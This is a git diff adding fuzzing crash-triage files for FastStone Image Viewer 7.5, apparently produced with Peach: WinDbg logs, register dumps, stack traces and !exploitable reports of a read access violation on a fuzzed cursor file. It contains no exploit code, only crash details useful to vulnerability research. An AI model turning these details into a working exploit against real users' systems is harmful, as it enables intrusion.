0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002c8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002c8000 66b50a9c 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002c8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44518/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f0a7ca5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..a19249e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1460: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1460: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1460.10f4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f17b10 edx=00003879 esi=12738f10 edi=07d34fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.752306050843034720000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.66183e+016 -2.43245e+012 6.05735e-021 1.50998e-031 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ff8130 07f75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0025c000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0025c000 f263bc90 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ac 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0025c000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..a19249e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1460: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1460: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1460.10f4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f17b10 edx=00003879 esi=12738f10 edi=07d34fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.752306050843034720000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.66183e+016 -2.43245e+012 6.05735e-021 1.50998e-031 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child 